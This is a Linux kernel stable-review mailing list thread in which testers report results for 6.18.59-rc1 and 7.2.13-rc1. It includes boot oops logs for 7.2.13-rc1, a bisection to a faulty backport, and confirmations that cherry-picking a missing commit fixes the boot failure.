> drivers/hv/vmbus_drv.c | 1 -
> drivers/i2c/busses/i2c-qcom-cci.c | 4 +-
> drivers/i2c/busses/i2c-qcom-geni.c | 37 +++---
> drivers/i2c/busses/i2c-viai2c-wmt.c | 2 +-
> drivers/i2c/busses/i2c-xiic.c | 49 ++++++--
> drivers/iommu/generic_pt/fmt/Makefile | 2 +-
> drivers/md/dm-cache-target.c | 59 +++++-----
> drivers/md/dm-crypt.c | 3 +-
> drivers/md/dm-ebs-target.c | 3 +-
> drivers/md/dm-integrity.c | 6 +-
> drivers/net/ethernet/actions/owl-emac.c | 3 +-
> drivers/net/ethernet/aeroflex/greth.c | 3 +-
> drivers/net/ethernet/amd/au1000_eth.c | 3 +-
> drivers/net/ethernet/broadcom/genet/bcmgenet.c | 10 ++
> drivers/net/ethernet/ethoc.c | 3 +-
> drivers/net/ethernet/hisilicon/hip04_eth.c | 3 +-
> drivers/net/ethernet/hisilicon/hisi_femac.c | 3 +-
> drivers/net/ethernet/marvell/mv643xx_eth.c | 4 +-
> .../mellanox/mlx5/core/steering/hws/fs_hws.c | 5 +-
> .../net/ethernet/stmicro/stmmac/dwmac1000_core.c | 6 +
> drivers/net/ethernet/ti/icssm/icssm_prueth.c | 3 +-
> drivers/net/ntb_netdev.c | 47 +++++---
> drivers/net/wireless/intersil/p54/fwio.c | 42 ++++++-
> drivers/pci/pci.c | 15 ++-
> drivers/pci/quirks.c | 12 ++
> drivers/pinctrl/pinctrl-amd.c | 9 ++
> drivers/pinctrl/qcom/pinctrl-hawi.c | 1 +
> drivers/pinctrl/qcom/pinctrl-ipq5018.c | 10 +-
> drivers/pinctrl/qcom/pinctrl-nord.c | 1 +
> drivers/pinctrl/qcom/pinctrl-qcs8300.c | 1 +
> drivers/pinctrl/qcom/pinctrl-spmi-gpio.c | 37 ++++--
> drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 +
> drivers/power/sequencing/pwrseq-qcom-wcn.c | 16 +--
> drivers/power/supply/ds2780_battery.c | 2 +-
> drivers/power/supply/generic-adc-battery.c | 9 +-
> drivers/power/supply/power_supply_core.c | 26 ++++-
> drivers/s390/net/ctcm_mpc.c | 3 +-
> drivers/scsi/libiscsi.c | 14 ++-
> drivers/scsi/libsas/sas_expander.c | 14 ++-
> drivers/scsi/mpi3mr/mpi3mr_app.c | 2 +-
> drivers/scsi/scsi_transport_fc.c | 6 +-
> drivers/scsi/scsi_transport_iscsi.c | 2 +-
> drivers/scsi/scsi_transport_sas.c | 6 +-
> drivers/scsi/st.c | 18 ++-
> drivers/scsi/xen-scsifront.c | 1 +
> drivers/soc/tegra/fuse/tegra-apbmisc.c | 2 +-
> drivers/soc/tegra/pmc.c | 1 +
> drivers/spi/spi-imx.c | 9 +-
> drivers/spi/spi-tegra114.c | 7 ++
> drivers/target/iscsi/iscsi_target_configfs.c | 26 +++--
> drivers/target/target_core_transport.c | 8 +-
> drivers/ufs/core/ufs_bsg.c | 2 +-
> fs/9p/v9fs.h | 1 +
> fs/9p/vfs_super.c | 4 +-
> fs/afs/internal.h | 2 +
> fs/afs/super.c | 2 +-
> fs/autofs/waitq.c | 25 +++-
> fs/ext4/ext4.h | 2 +
> fs/ext4/extents-test.c | 2 +
> fs/ext4/extents.c | 1 +
> fs/ext4/extents_status.c | 7 +-
> fs/ext4/extents_status.h | 1 +
> fs/ext4/super.c | 13 ++-
> fs/fs_struct.c | 100 +++++++++++++++-
> fs/namei.c | 3 +-
> fs/namespace.c | 19 +++-
> fs/notify/mark.c | 11 ++
> fs/ntfs/attrib.c | 8 +-
> fs/ntfs/bitmap.c | 8 +-
> fs/ntfs/ea.c | 126 +++++++++++++++++----
> fs/ntfs/file.c | 41 ++++---
> fs/ntfs/super.c | 4 +-
> fs/ntfs3/ntfs_fs.h | 1 +
> fs/ntfs3/super.c | 33 ++++--
> fs/ocfs2/dlm/dlmcommon.h | 2 +
> fs/ocfs2/dlm/dlmdebug.c | 5 +-
> fs/ocfs2/dlm/dlmrecovery.c | 2 +-
> fs/pipe.c | 6 +-
> fs/proc/array.c | 4 +-
> fs/proc/base.c | 8 +-
> fs/proc_namespace.c | 4 +-
> fs/smb/client/cifssmb.c | 24 +++-
> fs/smb/client/connect.c | 21 +++-
> fs/smb/client/file.c | 38 ++++++-
> fs/smb/client/smb2ops.c | 7 +-
> fs/smb/server/smb2pdu.c | 6 +
> fs/tracefs/event_inode.c | 10 +-
> fs/unicode/utf8-core.c | 21 +++-
> fs/xfs/libxfs/xfs_rtgroup.h | 6 +-
> fs/xfs/libxfs/xfs_sb.c | 37 +++---
> fs/xfs/xfs_aops.c | 3 +-
> fs/xfs/xfs_fsmap.c | 2 +-
> fs/xfs/xfs_ioctl.c | 2 +-
> fs/xfs/xfs_iomap.c | 3 +-
> fs/xfs/xfs_iops.c | 2 +-
> include/drm/drm_exec.h | 15 ++-
> include/linux/bsg-lib.h | 3 +-
> include/linux/cgroup-defs.h | 5 +-
> include/linux/fs_struct.h | 34 ++++++
> include/linux/fsnotify_backend.h | 1 +
> include/linux/futex.h | 19 ++--
> include/linux/futex_types.h | 2 +
> include/linux/init_task.h | 1 +
> include/linux/irq-entry-common.h | 23 +++-
> include/linux/maple_tree.h | 4 +
> include/linux/power_supply.h | 16 ++-
> include/linux/sched.h | 1 +
> include/linux/sched/signal.h | 4 +-
> include/linux/sched/task.h | 1 +
> include/linux/sched/user.h | 8 +-
> include/linux/unicode.h | 1 +
> include/net/af_vsock.h | 3 +
> init/init_task.c | 1 +
> init/main.c | 3 +
> io_uring/cancel.c | 7 +-
> ipc/namespace.c | 2 +-
> kernel/cgroup/cgroup.c | 6 +-
> kernel/events/core.c | 33 +++---
> kernel/exit.c | 2 +-
> kernel/fork.c | 67 +++++++----
> kernel/futex/core.c | 55 +++++----
> kernel/irq/proc.c | 24 ++--
> kernel/kcmp.c | 2 +-
> kernel/pid_namespace.c | 2 +-
> kernel/printk/printk.c | 2 +-
> kernel/sched/core.c | 19 ++--
> kernel/sched/ext/ext.c | 95 +++++++++++-----
> kernel/sched/ext/idle.c | 50 ++++++--
> kernel/sched/ext/internal.h | 5 +-
> kernel/trace/Makefile | 5 +-
> kernel/trace/ring_buffer.c | 60 +++++-----
> kernel/trace/trace.c | 28 ++++-
> kernel/trace/trace_events_filter.c | 9 +-
> kernel/trace/trace_events_hist.c | 90 ++++++++-------
> kernel/trace/trace_probe.c | 3 +-
> kernel/trace/trace_snapshot.c | 5 +-
> kernel/trace/undefsyms_base.c | 5 +-
> kernel/umh.c | 6 +-
> kernel/watch_queue.c | 11 +-
> kernel/workqueue.c | 27 +++--
> lib/crypto/arm64/poly1305-armv8.pl | 2 +-
> lib/crypto/poly1305.c | 2 +-
> net/bridge/br_multicast.c | 13 ++-
> net/core/page_pool.c | 3 +-
> net/core/sock.c | 3 +
> net/ipv4/fib_semantics.c | 2 +-
> net/ipv4/tcp.c | 18 ++-
> net/ipv4/tcp_cong.c | 4 +-
> net/ipv4/tcp_dctcp.c | 4 +-
> net/ipv4/tcp_minisocks.c | 2 +-
> net/ipv4/tcp_output.c | 2 +-
> net/ipv6/calipso.c | 6 +-
> net/iucv/af_iucv.c | 42 ++++---
> net/mac802154/ieee802154_i.h | 7 +-
> net/mac802154/main.c | 1 +
> net/mac802154/scan.c | 51 ++++++---
> net/netlink/af_netlink.c | 10 +-
> net/rds/rdma_transport.c | 38 ++++++-
> net/sched/act_api.c | 11 +-
> net/sched/cls_flower.c | 5 +
> net/sctp/inqueue.c | 6 +-
> net/sctp/socket.c | 33 ++++--
> net/tipc/node.c | 2 +
> net/vmw_vsock/af_vsock.c | 49 ++++++--
> net/vmw_vsock/virtio_transport_common.c | 3 +-
> net/vmw_vsock/vmci_transport.c | 34 +++++-
> samples/pidfd/Makefile | 2 +-
> security/selinux/hooks.c | 36 ++----
> sound/soc/amd/yc/pci-acp6x.c | 38 ++++++-
> sound/soc/codecs/cs42l52.c | 2 +-
> sound/soc/codecs/cs42l56.c | 2 +-
> sound/soc/codecs/max98371.c | 2 +-
> sound/soc/codecs/nau8822.c | 4 +-
> sound/soc/codecs/pcm3168a.c | 2 +-
> sound/soc/codecs/wm8978.c | 4 +-
> sound/soc/intel/avs/pcm.c | 2 +-
> sound/soc/sof/ipc4-topology.c | 9 +-
> sound/soc/sof/sof-client.c | 6 +-
> sound/soc/stm/stm32_spdifrx.c | 2 +-
> tools/arch/x86/include/asm/insn.h | 2 +-
> tools/bootconfig/main.c | 3 +-
> tools/gpio/Makefile | 6 +
> tools/power/x86/turbostat/turbostat.c | 74 +++++++-----
> 238 files changed, 2279 insertions(+), 949 deletions(-)
>
>
--
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 195 bytes --]
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (194 preceding siblings ...)
2026-10-23 20:15 ` Nikola Ciprich
@ 2026-10-23 20:47 ` Pavel Machek
2026-10-23 21:28 ` Florian Fainelli
` (7 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Pavel Machek @ 2026-10-23 20:47 UTC (permalink / raw)
To: Greg Kroah-Hartman
Cc: stable, patches, linux-kernel, torvalds, akpm, linux, shuah,
patches, lkft-triage, pavel, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
[-- Attachment #1: Type: text/plain, Size: 504 bytes --]
Hi!
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
CIP testing did not find any problems here:
https://gitlab.com/cip-project/cip-testing/linux-stable-rc-ci/-/tree/linux-6.18.y
Tested-by: Pavel Machek (CIP) <pavel@nabladev.com>
Best regards,
Pavel
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 195 bytes --]
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (195 preceding siblings ...)
2026-10-23 20:47 ` Pavel Machek
@ 2026-10-23 21:28 ` Florian Fainelli
2026-10-24 2:27 ` Peter Schneider
` (6 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Florian Fainelli @ 2026-10-23 21:28 UTC (permalink / raw)
To: Greg Kroah-Hartman, stable
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, pavel, jonathanh, sudipm.mukherjee, rwarsow, conor,
hargar, broonie, achill, sr
On 10/23/26 09:34, Greg Kroah-Hartman wrote:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
>
> Responses should be made by Sun, 25 Oct 2026 16:36:50 +0000.
> Anything received after that time might be too late.
>
> The whole patch series can be found in one patch at:
> https://www.kernel.org/pub/linux/kernel/v6.x/stable-review/patch-6.18.59-rc1.gz
> or in the git tree and branch at:
> git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-6.18.y
> and the diffstat can be found below.
>
> thanks,
>
> greg k-h
On ARCH_BRCMSTB using 32-bit and 64-bit ARM kernels, build tested on
BMIPS_GENERIC:
Tested-by: Florian Fainelli <florian.fainelli@broadcom.com>
--
Florian
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 20:44 ` [PATCH 7.2 000/242] 7.2.13-rc1 review Pavel Machek
@ 2026-10-23 21:34 ` Salvatore Bonaccorso
2026-10-23 22:44 ` Florian Fainelli
0 siblings, 1 reply; 455+ messages in thread
From: Salvatore Bonaccorso @ 2026-10-23 21:34 UTC (permalink / raw)
To: Pavel Machek
Cc: Greg Kroah-Hartman, stable, patches, linux-kernel, torvalds, akpm,
linux, shuah, patches, lkft-triage, jonathanh, f.fainelli,
sudipm.mukherjee, rwarsow, conor, hargar, broonie, achill, sr
Hi,
On Fri, Oct 23, 2026 at 10:44:26PM +0200, Pavel Machek wrote:
> Hi!
>
> > This is the start of the stable review cycle for the 7.2.13 release.
> > There are 242 patches in this series, all will be posted as a response
> > to this one. If anyone has any issues with these being applied, please
> > let me know.
>
> Either something went very wrong with our testing, or this fails on
> all our targets. 6.18.59-rc1 does not seem to have those widespread
> failures.
>
> https://gitlab.com/cip-project/cip-testing/linux-stable-rc-ci/-/pipelines/2982452623
>
> Example failure is:
>
> I'll look some more to try to figure out what is going on there.
>
> Best regards,
>
> Pavel
>
>
> [ 1.238864] Yama: becoming mindful.
> L426[ 1.238864] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
> L427[ 1.238864] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
> L428[ 1.238864] VFS: Finished mounting rootfs on nullfs
> L431[ 1.238864] BUG: kernel NULL pointer dereference, address: 000000000000002c
> L436[ 1.238864] #PF: supervisor write access in kernel mode
> L437[ 1.238864] #PF: error_code(0x0002) - not-present page
> L438[ 1.238864] PGD 0 P4D 0
> L441[ 1.238864] Oops: Oops: 0002 [#1] SMP PTI
> L446[ 1.238864] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G S 7.2.13-rc1+ #1 PREEMPT(lazy)
> L447[ 1.238864] Tainted: [S]=CPU_OUT_OF_SPEC
> L448[ 1.238864] Hardware name: SIEMENS AG SIMATIC IPC227E/A5E42630598, BIOS V20.01.11 03/15/2018
> L449[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
> L450[ 1.238864] Code: 34 ff ba 00 02 00 00 31 f6 48 c7 c7 70 a2 e6 b2 e8 52 d3 28 ff 89 c3 e8 bb 2d 34 ff 89 df 48 c7 c6 80 db 85 b3 e8 9d d7 2b ff <81> 48 2c 00 00 00 04 65 8b 15 63 6e 45 01 48 89 c7 89 d0 c1 ea 06
> L451[ 1.238864] RSP: 0000:ffffffffb3803ee0 EFLAGS: 00010246
> L452[ 1.238864] RAX: 0000000000000000 RBX: 00000000ffffffea RCX: 0000000000000000
> L453[ 1.238864] RDX: 0000000000000000 RSI: ffffffffffffffea RDI: ffffffffffffffea
> L454[ 1.238864] RBP: ffff8cf23ffed080 R08: ffffffffb385db88 R09: ffffffffb385db80
> L455[ 1.238864] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8cf23ffed0ab
> L456[ 1.238864] R13: 0000000000000000 R14: ffffffffb380c040 R15: 00000000b43e8000
> L457[ 1.238864] FS: 0000000000000000(0000) GS:ffff8cf287953000(0000) knlGS:0000000000000000
> L458[ 1.238864] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> L459[ 1.238864] CR2: 000000000000002c CR3: 000000000d630000 CR4: 00000000001006f0
> L460[ 1.238864] Call Trace:
> L461[ 1.238864] <TASK>
> L462[ 1.238864] start_kernel+0x7a2/0x7b0
> L463[ 1.238864] x86_64_start_reservations+0x24/0x30
> L464[ 1.238864] x86_64_start_kernel+0xcd/0xd0
> L465[ 1.238864] common_startup_64+0x13e/0x158
> L466[ 1.238864] </TASK>
> L467[ 1.238864] Modules linked in:
> L468[ 1.238864] CR2: 000000000000002c
> L469[ 1.238864] ---[ end trace 0000000000000000 ]---
> L470[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
Same here indepently, but not yet bisected.
Regards,
Salvatore
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 21:34 ` Salvatore Bonaccorso
@ 2026-10-23 22:44 ` Florian Fainelli
2026-10-23 23:42 ` Barry K. Nathan
2026-10-24 5:32 ` Greg Kroah-Hartman
0 siblings, 2 replies; 455+ messages in thread
From: Florian Fainelli @ 2026-10-23 22:44 UTC (permalink / raw)
To: Salvatore Bonaccorso, Pavel Machek, Greg Kroah-Hartman,
stable # v4 . 9+
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, jonathanh, sudipm.mukherjee, rwarsow, conor, hargar,
broonie, achill, sr
On 10/23/26 14:34, Salvatore Bonaccorso wrote:
> Hi,
>
> On Fri, Oct 23, 2026 at 10:44:26PM +0200, Pavel Machek wrote:
>> Hi!
>>
>>> This is the start of the stable review cycle for the 7.2.13 release.
>>> There are 242 patches in this series, all will be posted as a response
>>> to this one. If anyone has any issues with these being applied, please
>>> let me know.
>>
>> Either something went very wrong with our testing, or this fails on
>> all our targets. 6.18.59-rc1 does not seem to have those widespread
>> failures.
>>
>> https://gitlab.com/cip-project/cip-testing/linux-stable-rc-ci/-/pipelines/2982452623
>>
>> Example failure is:
>>
>> I'll look some more to try to figure out what is going on there.
>>
>> Best regards,
>>
>> Pavel
>>
>>
>> [ 1.238864] Yama: becoming mindful.
>> L426[ 1.238864] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
>> L427[ 1.238864] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
>> L428[ 1.238864] VFS: Finished mounting rootfs on nullfs
>> L431[ 1.238864] BUG: kernel NULL pointer dereference, address: 000000000000002c
>> L436[ 1.238864] #PF: supervisor write access in kernel mode
>> L437[ 1.238864] #PF: error_code(0x0002) - not-present page
>> L438[ 1.238864] PGD 0 P4D 0
>> L441[ 1.238864] Oops: Oops: 0002 [#1] SMP PTI
>> L446[ 1.238864] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G S 7.2.13-rc1+ #1 PREEMPT(lazy)
>> L447[ 1.238864] Tainted: [S]=CPU_OUT_OF_SPEC
>> L448[ 1.238864] Hardware name: SIEMENS AG SIMATIC IPC227E/A5E42630598, BIOS V20.01.11 03/15/2018
>> L449[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
>> L450[ 1.238864] Code: 34 ff ba 00 02 00 00 31 f6 48 c7 c7 70 a2 e6 b2 e8 52 d3 28 ff 89 c3 e8 bb 2d 34 ff 89 df 48 c7 c6 80 db 85 b3 e8 9d d7 2b ff <81> 48 2c 00 00 00 04 65 8b 15 63 6e 45 01 48 89 c7 89 d0 c1 ea 06
>> L451[ 1.238864] RSP: 0000:ffffffffb3803ee0 EFLAGS: 00010246
>> L452[ 1.238864] RAX: 0000000000000000 RBX: 00000000ffffffea RCX: 0000000000000000
>> L453[ 1.238864] RDX: 0000000000000000 RSI: ffffffffffffffea RDI: ffffffffffffffea
>> L454[ 1.238864] RBP: ffff8cf23ffed080 R08: ffffffffb385db88 R09: ffffffffb385db80
>> L455[ 1.238864] R10: 0000000000000000 R11: 0000000000000000 R12: ffff8cf23ffed0ab
>> L456[ 1.238864] R13: 0000000000000000 R14: ffffffffb380c040 R15: 00000000b43e8000
>> L457[ 1.238864] FS: 0000000000000000(0000) GS:ffff8cf287953000(0000) knlGS:0000000000000000
>> L458[ 1.238864] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
>> L459[ 1.238864] CR2: 000000000000002c CR3: 000000000d630000 CR4: 00000000001006f0
>> L460[ 1.238864] Call Trace:
>> L461[ 1.238864] <TASK>
>> L462[ 1.238864] start_kernel+0x7a2/0x7b0
>> L463[ 1.238864] x86_64_start_reservations+0x24/0x30
>> L464[ 1.238864] x86_64_start_kernel+0xcd/0xd0
>> L465[ 1.238864] common_startup_64+0x13e/0x158
>> L466[ 1.238864] </TASK>
>> L467[ 1.238864] Modules linked in:
>> L468[ 1.238864] CR2: 000000000000002c
>> L469[ 1.238864] ---[ end trace 0000000000000000 ]---
>> L470[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
>
> Same here indepently, but not yet bisected.
Same here as well, bisected down to: a0c935bd1f76 ("fs: add umh argument
to struct kernel_clone_args"), it looks like we need to cherry-pick
14adbd5341aa ("fs: stop sharing fs_struct between init_task and pid 1"),
with that I can boot a kernel.
[ 0.050862] VFS: Finished mounting rootfs on nullfs
[ 0.056357] Unable to handle kernel NULL pointer dereference at
virtual address 000000000000002c
[ 0.065711] Mem abort info:
[ 0.068679] ESR = 0x0000000096000004
[ 0.072657] EC = 0x25: DABT (current EL), IL = 32 bits
[ 0.078323] SET = 0, FnV = 0
[ 0.081587] EA = 0, S1PTW = 0
[ 0.084930] FSC = 0x04: level 0 translation fault
[ 0.090117] Data abort info:
[ 0.093189] ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000
[ 0.099019] CM = 0, WnR = 0, TnD = 0, TagAccess = 0
[ 0.104380] GCS = 0, Overlay = 0, DirtyBit = 0
[ 0.109297] [000000000000002c] user address but active_mm is swapper
[ 0.116061] Internal error: Oops: 0000000096000004 [#1] SMP
[ 0.122056] Modules linked in:
[ 0.125308] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted
7.2.13-rc1-gd1c66ab3e3bd #2 PREEMPTLAZY
[ 0.135124] Hardware name: BCM97268SV (DT)
[ 0.139473] pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS
BTYPE=--)
[ 0.146859] pc : rest_init+0x4c/0xf0
[ 0.150659] lr : rest_init+0x4c/0xf0
[ 0.154461] sp : ffff800083133e30
[ 0.157982] x29: ffff800083133e30 x28: 0000000000000000 x27:
0000000000000000
[ 0.165565] x26: ffff00001a5e2e40 x25: 0000000000000000 x24:
ffff800080fc0000
[ 0.173157] x23: ffff800083137a00 x22: ffff800083140e40 x21:
ffff00001a5d1700
[ 0.180774] x20: 00000000ffffffea x19: ffff80008314f300 x18:
0000000000000006
[ 0.188374] x17: 0000000000001000 x16: 0000000000000000 x15:
000000000000cfff
[ 0.195966] x14: ffffffffffff8000 x13: 0000000000000000 x12:
ffff8000832fed50
[ 0.203548] x11: 0000000000000040 x10: ffff80008314f308 x9 :
ffff80008314f300
[ 0.211165] x8 : 0000000000000000 x7 : 000000004308a007 x6 :
0000000000000000
[ 0.218757] x5 : ffff800083276900 x4 : ffff800083133cb8 x3 :
0000000000000000
[ 0.226356] x2 : 0000000000000000 x1 : ffffffffffffffea x0 :
0000000000000000
[ 0.233914] Call trace:
[ 0.236505] rest_init+0x4c/0xf0 (P)
[ 0.240302] start_kernel+0x6dc/0x810
[ 0.244204] __primary_switched+0x88/0x98
[ 0.248449] Code: 910c0273 aa1303e1 2a1403e0 97c30fa2 (b9402c04)
[ 0.254926] ---[ end trace 0000000000000000 ]---
[ 0.259849] Kernel panic - not syncing: Attempted to kill the idle task!
[ 0.266980] ---[ end Kernel panic - not syncing: Attempted to kill
the idle task! ]---
--
Florian
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 22:44 ` Florian Fainelli
@ 2026-10-23 23:42 ` Barry K. Nathan
2026-10-24 1:21 ` Peter Schneider
2026-10-24 5:32 ` Greg Kroah-Hartman
1 sibling, 1 reply; 455+ messages in thread
From: Barry K. Nathan @ 2026-10-23 23:42 UTC (permalink / raw)
To: Florian Fainelli, Salvatore Bonaccorso, Pavel Machek,
Greg Kroah-Hartman, stable # v4 . 9+
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, jonathanh, sudipm.mukherjee, rwarsow, conor, hargar,
broonie, achill, sr
On 10/23/26 3:44 PM, Florian Fainelli wrote:
> Same here as well, bisected down to: a0c935bd1f76 ("fs: add umh argument to struct kernel_clone_args"), it looks like we need to cherry-pick 14adbd5341aa ("fs: stop sharing fs_struct between init_task and pid 1"), with that I can boot a kernel.
I'm experiencing the same problem as everyone else on 7.2.13-rc1, and
I can confirm that cherry-picking 14adbd5341aa fixes booting for me too
(tested on both amd64 and arm64).
--
-Barry K. Nathan <barryn@pobox.com>
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 23:42 ` Barry K. Nathan
@ 2026-10-24 1:21 ` Peter Schneider
0 siblings, 0 replies; 455+ messages in thread
From: Peter Schneider @ 2026-10-24 1:21 UTC (permalink / raw)
To: Barry K. Nathan, Florian Fainelli, Salvatore Bonaccorso,
Pavel Machek, Greg Kroah-Hartman, stable # v4 . 9+
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, jonathanh, sudipm.mukherjee, rwarsow, conor, hargar,
broonie, achill, sr
Am 24.10.2026 um 01:42 schrieb Barry K. Nathan:
> On 10/23/26 3:44 PM, Florian Fainelli wrote:
>> Same here as well, bisected down to: a0c935bd1f76 ("fs: add umh argument to struct kernel_clone_args"), it looks like
>> we need to cherry-pick 14adbd5341aa ("fs: stop sharing fs_struct between init_task and pid 1"), with that I can boot a
>> kernel.
>
> I'm experiencing the same problem as everyone else on 7.2.13-rc1, and
> I can confirm that cherry-picking 14adbd5341aa fixes booting for me too
> (tested on both amd64 and arm64).
I see the same boot failure on my 2-socket Ivy Bridge Xeon E5-2697v2 server, and I confirm that applying 14adbd5341aa
("fs: stop sharing fs_struct between init_task and pid 1") on top of 7.2.13-rc1 fixes the issue for me, too.
The kernel then boots and everything seems to work normal.
Beste Grüße,
Peter Schneider
--
Climb the mountain not to plant your flag, but to embrace the challenge,
enjoy the air and behold the view. Climb it so you can see the world,
not so the world can see you. -- David McCullough Jr.
OpenPGP: 0xA3828BD796CCE11A8CADE8866E3A92C92C3FF244
Download: https://www.peters-netzplatz.de/download/pschneider1968_pub.asc
https://keys.mailvelope.com/pks/lookup?op=get&search=pschneider1968@googlemail.com
https://keys.mailvelope.com/pks/lookup?op=get&search=pschneider1968@gmail.com
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 6.18 000/193] 6.18.59-rc1 review
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (196 preceding siblings ...)
2026-10-23 21:28 ` Florian Fainelli
@ 2026-10-24 2:27 ` Peter Schneider
2026-10-24 10:46 ` Barry K. Nathan
` (5 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Peter Schneider @ 2026-10-24 2:27 UTC (permalink / raw)
To: Greg Kroah-Hartman, stable
Cc: patches, linux-kernel, torvalds, akpm, linux, shuah, patches,
lkft-triage, pavel, jonathanh, f.fainelli, sudipm.mukherjee,
rwarsow, conor, hargar, broonie, achill, sr
Am 23.10.2026 um 18:34 schrieb Greg Kroah-Hartman:
> This is the start of the stable review cycle for the 6.18.59 release.
> There are 193 patches in this series, all will be posted as a response
> to this one. If anyone has any issues with these being applied, please
> let me know.
Builds, boots and works on my 2-socket Ivy Bridge Xeon E5-2697v2 server. No dmesg oddities or regressions found.
Tested-by: Peter Schneider <pschneider1968@googlemail.com>
Beste Grüße,
Peter Schneider
--
Climb the mountain not to plant your flag, but to embrace the challenge,
enjoy the air and behold the view. Climb it so you can see the world,
not so the world can see you. -- David McCullough Jr.
OpenPGP: 0xA3828BD796CCE11A8CADE8866E3A92C92C3FF244
Download: https://www.peters-netzplatz.de/download/pschneider1968_pub.asc
https://keys.mailvelope.com/pks/lookup?op=get&search=pschneider1968@googlemail.com
https://keys.mailvelope.com/pks/lookup?op=get&search=pschneider1968@gmail.com
^ permalink raw reply [flat|nested] 455+ messages in thread
* Re: [PATCH 7.2 000/242] 7.2.13-rc1 review
2026-10-23 22:44 ` Florian Fainelli
2026-10-23 23:42 ` Barry K. Nathan
@ 2026-10-24 5:32 ` Greg Kroah-Hartman
1 sibling, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-24 5:32 UTC (permalink / raw)
To: Florian Fainelli
Cc: Salvatore Bonaccorso, Pavel Machek, stable # v4 . 9+, patches,
linux-kernel, torvalds, akpm, linux, shuah, patches, lkft-triage,
jonathanh, sudipm.mukherjee, rwarsow, conor, hargar, broonie,
achill, sr
On Fri, Oct 23, 2026 at 03:44:07PM -0700, Florian Fainelli wrote:
> On 10/23/26 14:34, Salvatore Bonaccorso wrote:
> > Hi,
> >
> > On Fri, Oct 23, 2026 at 10:44:26PM +0200, Pavel Machek wrote:
> > > Hi!
> > >
> > > > This is the start of the stable review cycle for the 7.2.13 release.
> > > > There are 242 patches in this series, all will be posted as a response
> > > > to this one. If anyone has any issues with these being applied, please
> > > > let me know.
> > >
> > > Either something went very wrong with our testing, or this fails on
> > > all our targets. 6.18.59-rc1 does not seem to have those widespread
> > > failures.
> > >
> > > https://gitlab.com/cip-project/cip-testing/linux-stable-rc-ci/-/pipelines/2982452623
> > >
> > > Example failure is:
> > >
> > > I'll look some more to try to figure out what is going on there.
> > >
> > > Best regards,
> > >
> > > Pavel
> > >
> > >
> > > [ 1.238864] Yama: becoming mindful.
> > > L426[ 1.238864] Mount-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
> > > L427[ 1.238864] Mountpoint-cache hash table entries: 8192 (order: 4, 65536 bytes, linear)
> > > L428[ 1.238864] VFS: Finished mounting rootfs on nullfs
> > > L431[ 1.238864] BUG: kernel NULL pointer dereference, address: 000000000000002c
> > > L436[ 1.238864] #PF: supervisor write access in kernel mode
> > > L437[ 1.238864] #PF: error_code(0x0002) - not-present page
> > > L438[ 1.238864] PGD 0 P4D 0
> > > L441[ 1.238864] Oops: Oops: 0002 [#1] SMP PTI
> > > L446[ 1.238864] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Tainted: G S 7.2.13-rc1+ #1 PREEMPT(lazy)
> > > L447[ 1.238864] Tainted: [S]=CPU_OUT_OF_SPEC
> > > L448[ 1.238864] Hardware name: SIEMENS AG SIMATIC IPC227E/A5E42630598, BIOS V20.01.11 03/15/2018
> > > L449[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
